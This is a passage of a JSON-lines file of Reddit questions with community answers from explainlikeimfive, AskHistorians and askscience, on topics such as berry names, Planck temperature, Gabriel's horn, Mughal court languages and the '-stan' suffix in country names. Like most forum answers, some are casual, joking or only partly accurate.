{"q_id": "49jgk5", "title": "if blueberries are blue and blackberrys are black, why are strawberries not called redberries", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/49jgk5/eli5if_blueberries_are_blue_and_blackberrys_are/", "answers": {"a_id": ["d0s88qb", "d0s8924"], "score": [2, 4], "text": ["1) Blackberries aren't black. As black is the absence of colour, they're actually a very dark shade of blue. \n2) Strawberries aren't called redberries as historians believe they grew by straw in the woodlands - but this isn't entirely accurate.", "There are more berries (lingonberries, cranberries, etc.) that aren't named after colors than that are.  So...maybe your question is \"why did we give a couple of berries names that are as bland as their color?\"\n\nStrawberries are frequently covered with straw during their overwinter process to keep them warm enough to not die, protected from the elements."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4s1kc0", "title": "what is and what happens at planck temperature?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4s1kc0/eli5_what_is_and_what_happens_at_planck/", "answers": {"a_id": ["d55sa79", "d55se4w"], "score": [70, 6], "text": ["The Planck Temperature is, as some describe it 'absolute hot', as a sort of counter-point to absolute zero, which is at -273.15 degrees celcius, or zero degrees Kelvin.\nAt absolute zero, particles no longer move. That's the definition, that's how we define the absolute zero.\nThe Planck Temperature is still purely theoretical. We have not seen it, nor are we even sure it exists, and we are not able to create it in the forseable future.\n\nNow, the Planck temperature is about 1.416\u00d710^32 degrees Kelvin.\nWhat makes this temperature interesting has to do with a different concept in the universe, which is gravity.\nGravity is one of the fundamental forces of the universe, together with the weak nuclear force, the strong nuclear force and electromagnetism.\nCompared to these other forces, gravity is actually very, very weak. As an example, a fridge-magnet can keep something from falling down while the entire weight of the earth is pulling on it. It is so weak, that in particle-physics, it's never used in calculations, because it has no influence on the results, or so little influence, we do not notice that it's missing.\n\nAs I wrote down earlier, at absolute zero, particles no longer vibrate, and the higher the temperature of an object is, the faster the object vibrates.\nNow, at the Planck Temperature, particles are essentially sending constant radiation because of their insanely strong vibrations, and this radiation density creates a gravitational field that is so strong, that the gravity actually becomes comparable to the other forces in the universe.\n\nSo what happens? We don't know. We have never created a model of what the world looks like if gravity was as strong as the other 3 fundamental forces.\n\nI hope that answers your question.", "I've covered the question of what exactly the planck temperature is [here](_URL_0_), check out the last paragraph and if that leaves any questions, please ask.\n\nAs for what exactly happens there:\n\nWe don't know.\n\nOur laws of physic break down beyond that temperature. The fundamental forces (Gravitation, Electromagnetism and a couple more) start acting weirdly and we get wrong results from calculations (like things happening with more than 100% accuracy). You could argue that that amount of thermal energy would instantly create a black hole (or Kugelblitz, a black hole that has been formed by energy), but ultimately we have no idea."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/r/explainlikeimfive/comments/4s10uv/eli5_absolute_zero_and_absolute_hot_planck/d55qbhz"]]}
{"q_id": "4xwg5a", "title": "what's the difference between a crossover and a suv?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4xwg5a/eli5_whats_the_difference_between_a_crossover_and/", "answers": {"a_id": ["d6izcyo", "d6izy1i"], "score": [6, 4], "text": ["Quick Google search gave me this: \n\n > For many car experts, the difference between the two is simple: A\u00a0crossover\u00a0is based on a car's platform, while an\u00a0SUV\u00a0uses the chassis of a truck. The result is that\u00a0crossovers\u00a0use \"unibody\" architecture, meaning the body and frame are one piece, while\u00a0SUVs\u00a0use a \"body on frame\" design.", "If you look at a pickup truck, you'll see that [it's got a solid frame underneath](_URL_2_) and then the cab/bed are attached to that.  SUVs and full-sized vans share the same **body on frame** design.\n\nIf you look at modern (pretty much everything post-1940s) passenger cars, they have a different design.  There is no separation between the upper body/cabin and the lower structural bits. This [unibody construction](_URL_1_) is used by passenger cars, minivans and crossover vehicles.\n\n[Here's another diagram comparing the two](_URL_0_).\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.usabilforum.se/forumuppladdning/body-unibody.jpg", "http://www.web2carz.com/images/articles/201308/unibody_1376334495_600x275.jpg", "http://www.carid.com/images/articles/pickup-truck-cab-bed-sizes-are-important-to-know-when-selecting-accessories/truck-body-on-frame.jpg"]]}
{"q_id": "23l1g7", "title": "why can't we put all our mathematical knowledge into a supercomputer to solve things like the riemann hypothesis, instead of offering a reward of a million dollars to the human that can?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/23l1g7/eli5_why_cant_we_put_all_our_mathematical/", "answers": {"a_id": ["cgy16tl", "cgy17mh", "cgy18kd", "cgy1hww", "cgy1jrk", "cgy1l9p", "cgytxi2"], "score": [2, 4, 22, 7, 7, 16, 2], "text": ["I think because the only things we could teach a computer to do are things we can already do ourselves. \n\nIf we can't solve a math problem, how could we teach a computer to do it?", "Computers don't hold \"knowledge\", they hold data and have prearranged ways of modifying it. Your question is like asking why we don't put \"knowledge\" into a clock, or a typewriter and ask it to solve a problem. It won't be able to do that because it doesn't think, it doesn't come up with new solutions to problems.", "At this level of mathematics it's not a matter of the math being too hard, it's that no one has ever thought of doing the math in that way.\n\nIf no one has ever thought of doing the math in that way previously, there's no way we could have a supercomputer do it.  One way we have computers solve problems like this is that we just give it a set of criteria that suggest \"this is the correct answer\" then have it just arrange everythign in every possible way.\n\nNot only would this be impossible (even super computers can't arrange all the numbers and functions in math in all ways) to do, we also have no idea what a solution would look like, until someone comes up with it.", "Computers are very good at computation, but they are not creative. Most big mathematical proofs involve a very clever trick: most math is easy once you put it in the right language, and big proofs often spawn whole fields from their methods.", "To a limited extent, we can. Computers [have been used since the 1970s](_URL_0_) to assist humans formulating proofs. More recently, [automated theorem provers](_URL_1_) have been used to build math proofs from the ground up. \n\nHowever, with all that said, there's a fundamental limitation here. At the highest levels, mathematics is a creative endeavor, and computers are not very good at doing creative things. \n", "The computer calculates things for us, \nwhen we tell it **how** to do it. \n\nIf we don't know how to calculate what we want to know,\nthe computer doesn't know either.", "Analogy: You can make a computer monitor show every possible picture that was ever taken, or will be taken, by having it cycle through every combination of colors in every pixel.\n\nThe problem is that the computer has no idea what's interesting to humans and what's not, so the vast majority of the pictures will be garbage. An even bigger problem is that humanity will be extinct before it finishes cycling through all those pictures.\n\nSame thing with trying to have a computer cycle through math theorems, except even worse. Look at this astoundingly complicated [proof that 1 + 1 = 2](_URL_0_) in formal logic. Now imagine how complicated a proof of the Riemann hypothesis would look. Imagine the thousands and millions and billions of branching paths stretching off into infinity that a computer could go down, and nothing to tell it which one actually holds a correct proof.\n\nComputer assisted proofs, however, that's way more interesting and possible. It's not inconceivable that mathematicians will be interpreters for computers that are doing the \"heavy lifting\" someday in the future."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://en.wikipedia.org/wiki/Computer-assisted_proof", "http://en.wikipedia.org/wiki/Automated_theorem_prover"], [], ["http://i.imgur.com/famW4cU.gif"]]}
{"q_id": "p92q7", "title": "- gabriel's horn, i just don't get it.", "selftext": "_URL_0_\n\nPlease, Explain this to me like I'm five, I don't get it at all.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/p92q7/eli5_gabriels_horn_i_just_dont_get_it/", "answers": {"a_id": ["c3nha4l", "c3nhc5a", "c3nhcfo"], "score": [11, 3, 9], "text": ["The small tail end keeps going indefinitely, thus the surface area keeps going (since the surface area is calculated by multiplying by the length, which is an infinite number.). \n\nBefore we talk about volume, remember that 0.999999999999..... = 1. \n\n99.9999% of the volume is at the larger end of the cone and it decreases as it gets towards the end, so even though the surface area keeps going, the volume will not increase enough to round it up to a number that matters. \n\n[Here's a good visual representitive](_URL_0_). Doesn't matter how long it can go on, the digits towards the end will not make it round up to 1. ", "If gabriel's horn is too weird for you, fractals are another example of an object with infinite surface area but finite volume.  Or infinite circumference and finite area.  They're easier for me, at least, to visualize.    Think of gabriel's horn as just one piece of a fractal -- it gets infinitely sharp in a weird kind of way, but still has finite volume.  Here's an example of the kind of fractal I'm talking about: _URL_0_\n\nA Koch curve or snowflake is a simple example, I think.", "I'm going to take a stab at this, and forgive me if I complicate matters, but I hate seeing these things unanswered.\n\nThere are some mathematical problems that can accept just about any answer and not be impossible. y=1/x is one of those problems. Because a number can't be divided by zero, the only way to make this problem not work is to make \"x\" = 0. We can get infinitely *close* to zero, but we can't use zero. As we get closer to x=0, y gets bigger and bigger.\n\nGabriel's Horn is a 3-dimensional version of the problem y=1/x. As x gets smaller and smaller (approaching zero), the length of the \"horn\" gets bigger and bigger. For instance, if we make x 0.00000000000001cm, the horn's corresponding length, \"y\", is 1 trillion meters.\n\nSo, we have a horn whose length approaches infinity as x approaches zero.\n\nNow let's talk about width, \"x\".\n\nThe \"bell\" of the horn (the wide-open end) isn't able to get bigger than 1, because those are the rules (the rules have to be set because if x gets bigger than 1, the whole thing falls apart).\n\nSo, as x starts from one and gets infinitely close to zero, the width of the narrow end of the horn gets infinitely smaller, too.\n\nAt some point as we get closer and closer to zero, the narrow end of the horn gets so narrow that anything you poured into the shape would, at its tiniest level, be too large to pass through the narrow end. \n\nSay you pour some paint into the wide end of the horn. As x gets closer and closer to zero, you'll eventually reach the point where x (and therefore the width of the opening at the narrow end) is smaller than the smallest molecule of paint. But because the width of the horn is getting smaller as you get closer to zero, you're limited as to how much volume the horn has, no matter how long it is, because the longest part is also the narrowest, and we're talking super-freakin' narrow, here, kids. Like, wicked narrow.\n\nAs x gets closer and closer to zero, the horn's length (y) gets closer and closer to infinity (that is, there's no limit to how long this thing can get), but the width gets closer and closer to zero. So you have something that is infinitely long, that can only hold a limited amount of paint.\n\nIt seems utterly perplexing, but it's a mathematical construct, not an actual trumpet, so you don't have to worry."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Gabriel's_Horn"], "answers_urls": [["http://upload.wikimedia.org/wikipedia/commons/b/b8/999_Perspective.png"], ["https://encrypted-tbn3.google.com/images?q=tbn:ANd9GcQemnTVh0rjKTcAIfGU7hvga7VrZ35TFcp2JaNZiCEo7-rdLtrj1Q"], []]}
{"q_id": "5ga7wb", "title": "In the Mughal Empire, would most noblemen be bilingual in a Hindustani dialect and Persian? Or only speak Persian?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5ga7wb/in_the_mughal_empire_would_most_noblemen_be/", "answers": {"a_id": ["darjtqg"], "score": [3], "text": ["Persian was popular before the Mughals, as the presence of multiple well-known Persian poets can show. The Mughals themselves wrote and spoke Turkish. For example, the Mughal ruler Babur (d. 1530) wrote memoirs in Turkish. Pre-Mughal Northern India spoke in what was called Hindavi, Dehlavi, and Rekhta--mixed dialects which would we would mostly call Hindi now.\n\nThough many languages were in use under the Mughals, Persian did experience a dramatic rise in usage. There is debate as to what caused this rise. Mughal rulers communicated with rulers in the Greater Iran/Greater Persia region; Akbar (d. 1605) was especially interested in Persian, and sent away for Persian poets and intellectuals to come to India. Many came, probably owing at least in part to Akbar's more tolerant policies on religion compared to the (fairly recent for them) establishment of the Safavids as Twelvers in 1501. Akbar established an official job for a court poet, and everyone who got the job was Iranian except for one, who wrote in Persian, too. Akbar also made Persian the language not just of the highest nobility, but of all levels of administration. Before that, administrative issues were usually carried out in Hindavi.\n\nIf you were a noble in the Mughal empire, regardless of religion, you would know Persian and Hindavi (probably a few variations on your local variety), and you might have learned Arabic. Labels get more complicated in the eighteenth century, when you might have instead been able to say that you knew Persian, Hindi, Urdu, Punjabi, Kashmiri, Prakrit, etc.\n\nSource: Muzaffar Alam's article, \"The Pursuit of Persian: Language in Mughal Politics\" (1998) \nand his book *The Languages of Political Islam: India, 1200-1800* (2004)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2d4xmu", "title": "The use of the Poppy flower for memorals before World War One?", "selftext": "I was listening to the radio, and someone said poppies were used as a symbol for loss and death before World War One. With a link to Waterloo, and the symbolism of the sleep that opiates can induce. \n\nDoes anyone know how long the poppy has been linked t death and warfare. Ths is significant as it is a central symbol in Britain's 100 ear anniversary of the start of WWI", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2d4xmu/the_use_of_the_poppy_flower_for_memorals_before/", "answers": {"a_id": ["cjm4pyh"], "score": [3], "text": ["In the language of flowers, a Victorian era affectation of assigning meanings or associations to a very wide range of flowers for passing fashionable messages, the poppy was assigned the meaning of sleep, or oblivion, or eternal sleep i.e. it could mean peaceful death.   Probably because of the long known use of poppy seed as a sleep inducing drug.\n\nThe use of the poppy as a symbol of violent death in war appears to arise wholly from the imagery in the popular war time poem \"In Flanders Fields\"  written after the second battle of Ypres (WWI)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "tdbk1", "title": "Can pilots handle more G's if they had no legs?", "selftext": "Claimed by nintendo in Starfox _URL_0_\n\n\"Legless pilots can handle more Gs than their legged brethren. When gravity forces blood from the brain to lower extremities, it causes the pilot to black out. But if you have no legs to force blood to, more blood can stay in the brain, and it\u2019s easier for the heart to pump blood back to the brain.\"\n\nWas this something made up to sound logical, or would this actually work?\n\nEdit: can't find the right original reddit post, sorry.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/tdbk1/can_pilots_handle_more_gs_if_they_had_no_legs/", "answers": {"a_id": ["c4lmr9k", "c4lqii3", "c4lzqo5"], "score": [17, 15, 3], "text": ["Yes, I'm fairly sure that is correct, here is a wiki article about a [legless WWII pilot](_URL_0_).  ", "To the people saying yes you are missing some key things\n\n1) lets say you have 4 pints of blood (with legs) when you lose those legs you are going to have less blood, lets say 3 pints. So the ratio is still the same of body:blood\n\n2) Blood can fill the legs outs, however it can also fill out more in the abdomen, it wouldnt though if you had legs\n\n3) The overall cardiac health has a greater chance to weaken with no legs\n\n4) I am sure you may handle a little more Gs but overall not worth amputation ", "An interesting side-note regarding pilot physique:\n \nDuring the cold war, the US was able to spend absurd amounts of money on tech, including having had advanced flight suits that would inflate bladders around the legs to prevent blackouts during high g-force conditions. \n \nThe Soviets did not have nearly as much cash to throw around. So they compensated for it by having pilots become essentially body-builders, to achieve the same effect. \n \nTLDR: USA has balloons. Russians just flex."]}, "title_urls": [], "selftext_urls": ["http://nintendoeverything.com/81986/star-fox-had-metal-legs/"], "answers_urls": [["http://en.wikipedia.org/wiki/Douglas_Bader"], [], []]}
{"q_id": "1gxovp", "title": "how electricity is being sent to great distances and why there is no losing in power", "selftext": "Side-ELI5: why do street lamps use 850V instead of 220V?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1gxovp/eli5_how_electricity_is_being_sent_to_great/", "answers": {"a_id": ["caouko4", "caoupf6", "capezvl"], "score": [2, 2, 2], "text": ["There is power loss. In fact, electric companies closely monitor power loss to make sure no one is stealing power.", "We can't afford superconductors in all the power lines, so power is always being lost: _URL_0_", "There is loss of power. The loss is basically heat in the power lines. There is also sound, but I would imagine this is a small amount of the total loss.\n\nPower grid operators usually have to buy or produce an amount of power equivalent to the amount lost in their power lines, so they can deliver exactly the amount of power that was put into the power line.\n\nYou can reduce the loss by using higher voltage and thereby decreasing the current. Current (ampere) really is what makes the power lines hot which leads to loss of power (super simplified, I may even be somewhat incorrect in that). This means that it is generally more *efficient* to use higher voltage for power transmission.\n\n**Why does the current decrease when increasing voltage?** First, power (generally Watt) is energy per second (joule/second). In a alternating current power line, though, apparent power is more interesting as long as the electricity is in the power line. Apparent power is measured in kVA (kilo volt ampere). So apparent power = voltage * current. \n\nAt the start of your power line, a certain amount of power will be fed to the line. Example: The power line transmits electricity from a power plant to the national power grid. The plant has a production capacity of 200 MW (in an hour it will produce 200 MWh). The power line will transmit 200 MW. However you increase or decrease voltage or current, the transmitted amount of energy will not change.\n\nRemember: power = voltage * current. So, the power is set, it will not change. If you increase the voltage, in order for power *not* to change, the current **has** to go down. And it will.\n\n**Also**, using direct current to transmit power decreases the loss in the power lines by alot, and this is done. It is, however, only effiecent over longer distances, because changing from alternating to direct current and then back **does** mean quite large losses.\n\nTL;DR: I think I just did a rant over something that was not asked by OP :-)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Electric_power_transmission#Losses"], []]}
{"q_id": "estarf", "title": "Was Timothy Dexter genuinely a shrewd businessman in some regards or was he just incredibly lucky with his nonsensical business interactions?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/estarf/was_timothy_dexter_genuinely_a_shrewd_businessman/", "answers": {"a_id": ["fffro2o"], "score": [7], "text": ["Dexter owned a modestly prosperous glove and leather-dressing shop in Newburyport before and during the Revolution. Somehow, he managed to hang onto enough hard currency to be able to buy up Continental currency some time after the war ended. Massachusetts and the Continental Congress had both borrowed heavily, and hard money, specie, was scarce. There had been a revolt ( Shay's Rebellion) when the government in Massachusetts tried to wring hard money for taxes out of its population- many of the farmers of western MA seemed to have been simply trading in notes ( like IOU's) and avoiding regular commerce. Dexter was therefore able to buy apparently worthless Continental currency at an incredibly low price, and when the new Federal government, with the urging of Alexander Hamilton, actually redeemed it in 1790 for a small percentage of its face value, Dexter became wealthy. With that wealth, he began to speculate, likely on the cargoes coming into the port of his town, striding down to the wharves every time a ship was in, and looking them over.  But what those speculations really were will never be known: though he left some writings, his papers and business records have not survived. Certainly, some must have been invented and ascribed to him later.And, notice that these stories have an echo of his great score with Continental currency- \"they laughed when I said I was going to do this deal, but then...\"  But Dexter would have been like many businessmen in bragging about his successes- even inventing some himself- and keeping quiet about his failures. Did he send coal to Newcastle and sell at a profit, because of a miner's strike? At the time when such labor actions ( like that of the Tolpuddle Martyrs) resulted in quick transportation to Australia, that seems dubious. So ,too, the idea that warming pans, shipped to Jamaica, could be employed in the molasses industry- they're pretty lightweight, for using as ladles. But his buying up a cargo of whalebone ( balleen) and selling it to corset makers is quite possible.  He does not seem to have died immensely wealthy, so likely he had some good luck and some bad. But his odd writing style is not an indication that he was stupid. He somewhat resembles in that the English banker Jemmy Wood, almost a contemporary of Dexter, who looked silly, spoke oddly, but made money nonetheless.\n\nBecause Dexter left no papers, only a few writings, it's unlikely that we'll get good sources for him- unless his account books are found somewhere- and so these stories are likely to have to just be judged on their probability.  Accounts of Dexter online seem to be a mess: if you go to Wikipedia, you'll find the article on Dexter has so many CITATION NEEDED notes that if they were lights, it'd be a Christmas tree. Author John P Marquand, whose family were an established part of Newburyport, Dexter's town, wrote two books on Dexter. The second , *Timothy Dexter Revisited*, made a decent attempt to sort things out ,and at least narrowed down the possibilities. It is  garrulous on the subject of the region's history and probably not too reliable on that, but in spite of this embroidery it's reasonably careful about Dexter. You can also borrow it on the Internet Archive."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "22gd3n", "title": "why is it that when someone farts, it is considered funny, yet a cough or sneeze is easily dismissed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/22gd3n/eli5_why_is_it_that_when_someone_farts_it_is/", "answers": {"a_id": ["cgmjbya", "cgmry73"], "score": [5, 4], "text": ["Because you accomplish a fart with your butt, and that's some funny shit.", "It comes down to social norms. A sneeze or a cough isn't going to make someone anxious. Everyone does it all the time. We're used to it. But a fart? Now that's something that happens rarely, and unfortunately, often causes a foul smell. This can be entirely embarrassing for the person who farted. And we use laughter as a tool; it's a way for us to reduce the awkwardness of a situation because it makes light of something that in the end doesn't matter (we all do it, right?). So we use laughter to break that tension, to remove that stigma against the foul air that leaked out your ass at an unfortunate time.\n\nPlus on a side note, I laugh EVERY TIME someone farts because farting is hilarious. Old men, dogs, fat women's thighs, it's just hilarious no matter what the circumstances are."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5gx3hh", "title": "why do so many countries between asia and europe end in \"-stan\"?", "selftext": "e.g Afghanistan, Pakistan, Uzbekistan ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5gx3hh/eli5_why_do_so_many_countries_between_asia_and/", "answers": {"a_id": ["davqfd5", "davqinm", "davs754", "davsczk", "davskfm", "davx9iv", "davzncb", "daw0zqb", "daw1hm2", "daw1vsr", "daw3yap", "daw43t8", "daw4z7z", "daw57h3", "daw5kcs", "daw5xqr", "daw60n5", "daw68uu", "daw6k5y", "daw6qlw", "daw6rww", "daw78q3", "daw7m7b", "daw7tc5", "daw8ls4", "daw8oob", "daw9bot", "daw9nu4", "daw9od5", "dawatde", "dawav1m", "dawb07h", "dawbi75", "dawbirm", "dawbtzr", "dawcj1q", "dawcw2q", "dawdsll", "dawegbu", "dawf3tm", "dawgvbu", "dawhiy3", "dawiapb", "dawiimo", "dawj5br", "dawwlvd", "dawwuns", "dawwuwv", "dax5cxe"], "score": [74, 14978, 299, 177, 119, 2443, 28, 54, 10, 45, 1427, 42, 3, 26, 4, 18, 4, 13, 11, 2, 65, 4, 19, 7, 8, 10, 226, 2, 4, 2, 99, 2, 3, 2, 7, 4, 2, 5, 2, 8, 2, 3, 2, 2, 4, 3, 7, 2, 5], "text": ["It comes from the persion word \"Istan\" which means \"Land.\"\n\nSo Afghanistan is \"Afghan Land\" Turkmenistan is \"Turkmen Land\" etc.", "It's Persian for \"land.\" Hence, \"Land of the Afghans,\" \"Land of the Uzbeks,\" \"Land of the Kazakhs,\" etc.\n\nPakistan is a bit of an odd one out because there isn't a people called the \"Paks.\" Pakistan is an acronym for **P**unjab, **A**fghania, **K**ashmir, **S**indh, and Balochi**stan**, which are the regions that make up Pakistan. \"Pak\" also happens to be Pashto for \"pure,\" so it works out nicely.", "Stan means 'land' and -dad/bad means city.  Bagh is garden. Bagh-dad = Garden city. Islamabad, etc.", "It's not just Persian. Many Indo-European languages have the word 'stan', which means 'place'. \n\nEven English words like 'station' and 'stop' probably have a related ancient origin since English is an Indo-European language. ", "It's funny because the word for Armenia in Armenian is Haiastan. So they have the \"stan\" just not in English. ", "**[META]**  \n\nI wonder if on the arabic /r/explainlikeimfive there's a thread just like this one, but someone's asking \"Why do so many western countries end with '-land'?\"  \n\n & nbsp;\n\n*woah*", "The origins are from the Sanskrit word \"sthan\" - (\u0938\u094d\u0925\u093e\u0928 in devnagri). It means place and everyone else got it from there.", "Honestly, the question leads to how languages evolved and how most languages can be grouped in to [\"Language Families\"](_URL_1_). The reason why so many countries and cities in Europe and Asia have names ending in Stan is because all of these regions evolved from the [Indo-European](_URL_3_) Language Family. To narrow it down a bit more, Stan is a common word across [Indo-Iranian](_URL_4_) Languages, which is a subset of the Indo-European Language Family. [This Graphic](_URL_0_) shows a good tree of how Indo Iranian Languages branched out. \n\nThis is also the reason why many of the words in each of these languages sound similar. Compare [Indo-Aryan languages](_URL_5_) with [Iranian languages](_URL_2_). Pay special attention to how Mother and Father sound across major languages... you will find some similarities with European languages as well.", "Which country are you thinking of in Europe? ", "Just to add, what do you mean *between* Asia and Europe? \n\nMost (if not all?) of the -stan countries are *in* Asia. ", "_URL_0_\n\nfrom the article: Who put the bomp in the bomp bah bomp bah bomp? Who put the -stan in Afghanistan? I don\u2019t know about the former, but we can thank the Proto-Indo-Europeans for the latter. These folks spoke the Proto-Indo-European language (PIE), a prehistoric Eurasian language that linguists have reconstructed.\n\nThe PIE root, st?-, or \u201cstand,\u201d found its way into many words in the language\u2019s various descendants. The Russian -stan means \u201csettlement,\u201d and other Slavic languages use it to mean \u201capartment\u201d or \u201cstate.\u201d In English, the root was borrowed to make \u201cstand,\u201d \u201cstate,\u201d \u201cstay\u201d and other words. The ancient Indo-Iranian peoples -- descendants of Proto-Indo-Europeans who moved east and south from the Eurasian steppe - used it to mean \u201cplace\u201d or \u201cplace of.\u201d It\u2019s this meaning that\u2019s used for the names of the modern -stan countries, which got it through linguistic descent (Urdu and Pashto, the respective official languages of Pakistan and Afghanistan, both descend from the Indo-Iranian language), or by adopting it (the former Soviet -stan countries have historically been mostly ethnically Turkic and speak languages from the Turkic family).", "What about the ending -ia?\n\nNamibia,Bolivia,Slovakia, Australia.. just 4 examples. Its worldwide not just between Asia and Europe.", "Literally it means, place or position. I also remember using it for digits in a decimal notation (12.345), and figuratively as position of a father, president, etc.\n\n_URL_0_\n", "Same reason many cities in the US and Europe have \"-burg\" at the end.\nThat's the German word for city.\n\nPittsburgh, Luxembourg, Hamburg...\n\nAny time you see a pattern like that where a bunch of the same sort of thing (in this case, places) have the same name element (in this case, -stan or -burg) they might be related linguistically.\n\n\nEDIT: Okay... It's been quite a while since I took German in High School. So \"burg\" is a fortification, a city with a wall; IE a Castle.", "Also in some Slavic languages 'stan' means state. For example, in polish 'stany zjednoczone' = 'united states'. ", "\u266a Kazakhstan greatest country in the world.  \nAll other countries are run by little girls.  \nKazakhstan number one exporter of potassium.  \nOther countries have inferior potassium. \u266a\n", "Random factoid relevant to this thread (and great for parties): \nThere are seven countries ending with 'istan'. \nUzbekistan, Kyrgyzstan, Turkmenistan, Afghanistan, Kazakhstan, Tajikistan, and Pakistan. \n\nIf you can remember all of them (or even how many there are) you will sound like a complete nerd. ", "On a similar note, \"ing\" is pre-Roman English for \"the people\", and why so many locations in England have \"ing\" in the name.  \n\nOne little town in particular, Ingatestone, literally translates to \"the people at the stone\". The village is in Essex, just outside London, and the topography is rolling low hills, no rocky features, not many stone fences etc.. The stone the town is named for still is present, split in two, one piece near the church in the middle of town, the other kiddie corner to the first on a corner which boasts a bakery and my old house. I walked past the knee-high stone daily for a year before I found out - embedded in the concrete and asphalt of the corner, nondescript, with no signage. I was in the church looking at a historical display about the village history one day, and there was a photo of my house, the stone and the story. \n", "Why do so many countries end in the word 'land'? Land of, Disneyland etc ", "In addition to the other answers, the only 'stan' in Europe is Kazakhstan, which is described as _transcontinental_ between Europe and Asia\n \n \nSource: _URL_0_ \n\n-----\nEdit: spelling, italics.", "Fun fact: Nuristan is a province in Afghanistan, and its people were very stubborn about converting to Islam, and eventually they were the last to convert, so when they did their region was given the name Nuristan which means Land of the Enlightened as sort of a pat on the back.", "It's kind of like how so many places end ineeded \"ia\" if they were named in Latin (Russia, Algeria, Albania, California...) or \"land\" if they were named in English (England, Finland, Poland, Maryland...\n", "Not to forget that India, in local language is called \"Hindustan\". A land of hindu. This term was widely used in historic times. ", "It means \"land\" in Persian. Most countries' name also work out the same way in Turkish.\n\nYunanistan= Greece\n\nErmenistan= Armenia\n\nG\u00fcrcistan= Georgia\n\nBulgaristan= Bulgaria\n\nlist goes on...", "Just to add a piece of information, Armenia is called \u0540\u0561\u0575\u0561\u057d\u057f\u0561\u0576 (Hayastan) in Armenian. Apparently it is because of the [Hayasa](_URL_1_). On the other way, according to the Armenian historiographic tradition, it is because of [\u0540\u0561\u0575\u056f](_URL_0_) (Hayk), the legendary patriarch and founder of the Armenian nation.", "Yes. As others explained, in Persian, \"stan\" is a suffix meaning land or place. In addition to these countries, there are other countries that their names in Persian follow the same rule:\nHindustan = India\nEngelestan = England\nBulgharestan = Bulgaria\nMadjaarestan = Hungary\nArmanestan = Armenia\n\nThis suffix is also used to form words like:\nGolestan= Gol+stan= flower garden\nTaakestan=Taak+stan= vineyard.", "\"Stan\" means land. It is related to the Latin word \"state\", the German word for city, \"Stadt\" and the English suffix -stead, found in words like \"homestead\" and \"farmstead\" and in place names like \"Hampstead\" and \"Stansted\". \n\nThe word \"stan\" can be traced back to the same original root word as the European \"state/stadt/stead\" varieties, because all these words derive from the same ancient theorised language, Proto Indo-European.", "It means land, or land of. Usually the prefix of those countries is the name of the ethnic group or groups who originally founded the country. Like for Uzbekistan, the uzbeks.", "Stan was a highly influential person that lived a long time ago and it's an honor that has been passed down through the ages. \n\nSource - I am lying", "For the same reason so many european countries end in -ia. It means land. Like Russia, Francia, Germania, Suecia, Britannia, Romania, Bulgaria, Hollandia, Norvegia, Espana (ia), Finlandia, Moldovia etc. ", "Bonus fun tidbit:\n\nChina is actually called Zhong Guo, meaning middle kingdom or middle country. Nobody really knows where the word China comes from and there is no Chinese word for \"China\", rather the nation is called Zhonghua which has been changed to mean Chinese Nation in modern times. \n\nIn Chinese, most names of other countries end in Guo. So America is Meiguo, Germany is Deguo, England is Yingguo. Other countries have Mandarin phonetic pronunciations, like Italy being Yi da li. Then there are countries that were named in Chinese or have a common base language, and have actual Chinese names, like Japan being Riben or Wo, Korea being Hanguo, and Vietnam being Yuenan.\n\nSo where did the word China come from? Nobody knows. There's a lot of guesses, but no one knows for sure why a dozen different kingdoms, states, and ethnic groups that had individual named were all called China. ", "In Turkish, even more countries are named with \"-stan\" than elswhere... \n\n_URL_0_\n", "Since my country is mentioned, let my add my $0.02:\n[-stan comes from Proto-Indo-European](_URL_0_) and means \"to stand.\" Also here in Uzbekistan some European countries are sometimes referred by their old Uzbek names, e.g. France - Farangiston (Farangstan), Hungary - Mojariston (Majarstan), Greece - Yunonistan (Yunanstan).", "It's an ancient word for \"land\" or \"homeland\".  \nThis was my TIL about it _URL_0_", "Damn... We should be Turkistan then. Why they call us Turkey, why? :( ", "there are lots of suffixes in india.  -pur (city) as in jaipur, udaipur, raipur, (also singapore - the city of the lion!)... -gadh (fort) as in junagadh, aligarh, chandigarh..., -abad (prosperous people) as in ahmedabad, hyderabad, secundrabad...\n\n", "The etymological origins of the suffix \"-stan\" are in the Sanskrit word \"sthan\", which means \"place\".", "We're just ignoring the fact that those countries aren't \"between\" Asia and Europe?  ", "I see nobody has mentioned this but Armenia's Armenian name is \"Hayastan\", and the Armenian name for Georgia is \"Vrastan\".", "Why do people use ELI5 for easily searched answers? And why do people upvote them?\n\n_URL_0_", "Fun fact OP, if you remove the second-last A in your username you could be pancakesbystan. Translation: Land of the Pancakes By.", "Why do so many countries between 